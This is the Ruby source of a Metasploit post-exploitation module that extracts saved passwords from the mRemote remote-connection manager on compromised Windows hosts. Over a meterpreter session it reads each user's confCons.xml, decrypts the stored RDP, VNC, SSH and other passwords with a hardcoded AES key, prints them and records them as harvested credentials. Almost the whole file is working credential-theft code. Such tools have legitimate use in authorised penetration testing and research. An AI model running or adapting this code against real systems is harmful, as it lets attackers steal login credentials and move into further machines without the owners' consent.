111 lines
3.0 KiB
Ruby
111 lines
3.0 KiB
Ruby
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##
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# This file is part of the Metasploit Framework and may be subject to
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# redistribution and commercial restrictions. Please see the Metasploit
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# web site for more information on licensing and terms of use.
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# http://metasploit.com/
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##
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require 'msf/core'
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require 'rex'
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require 'rexml/document'
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require 'msf/core/post/windows/user_profiles'
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require 'msf/core/auxiliary/report'
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class Metasploit3 < Msf::Post
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include Msf::Post::Windows::UserProfiles
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include Msf::Auxiliary::Report
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def initialize(info={})
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super( update_info( info,
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'Name' => 'Windows Gather mRemote Saved Password Extraction',
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'Description' => %q{
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This module extracts saved passwords from mRemote. mRemote stores
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connections for RDP, VNC, SSH, Telnet, rlogin and other protocols. It saves
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the passwords in an encrypted format. The module will extract the connection
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info and decrypt the saved passwords.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'theLightCosine',
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'hdm', #Helped write the Decryption Routine
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'mubix' #Helped write the Decryption Routine
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],
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'Platform' => [ 'win' ],
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'SessionTypes' => [ 'meterpreter' ]
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))
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end
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def run
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@secret= "\xc8\xa3\x9d\xe2\xa5\x47\x66\xa0\xda\x87\x5f\x79\xaa\xf1\xaa\x8c"
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grab_user_profiles().each do |user|
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next if user['LocalAppData'] == nil
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tmpath= user['LocalAppData'] + '\\Felix_Deimel\\mRemote\\confCons.xml'
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get_xml(tmpath)
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end
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end
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def get_xml(path)
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condata=""
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begin
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xmlexists = client.fs.file.stat(path)
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connections = client.fs.file.new(path,'r')
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until connections.eof
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condata << connections.read
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end
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parse_xml(condata)
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print_status("Finished processing #{path}")
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rescue
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print_status("The file #{path} either could not be read or does not exist")
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end
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end
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def parse_xml(data)
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mxml= REXML::Document.new(data).root
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mxml.elements.to_a("//Node").each do |node|
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host = node.attributes['Hostname']
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port = node.attributes['Port']
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proto = node.attributes['Protocol']
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user = node.attributes['Username']
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domain = node.attributes['Domain']
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epassword= node.attributes['Password']
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next if epassword == nil or epassword== ""
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decoded = epassword.unpack("m*")[0]
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iv= decoded.slice!(0,16)
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pass=decrypt(decoded, @secret , iv, "AES-128-CBC")
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print_good("HOST: #{host} PORT: #{port} PROTOCOL: #{proto} Domain: #{domain} USER: #{user} PASS: #{pass}")
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user= "#{domain}\\#{user}" unless domain.nil? or domain.empty?
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if session.db_record
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source_id = session.db_record.id
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else
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source_id = nil
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end
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report_auth_info(
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:host => host,
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:port => port,
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:sname => proto,
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:source_id => source_id,
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:source_type => "exploit",
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:user => user,
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:pass => pass)
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end
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end
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def decrypt(encrypted_data, key, iv, cipher_type)
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aes = OpenSSL::Cipher::Cipher.new(cipher_type)
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aes.decrypt
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aes.key = key
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aes.iv = iv if iv != nil
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aes.update(encrypted_data) + aes.final
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end
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end
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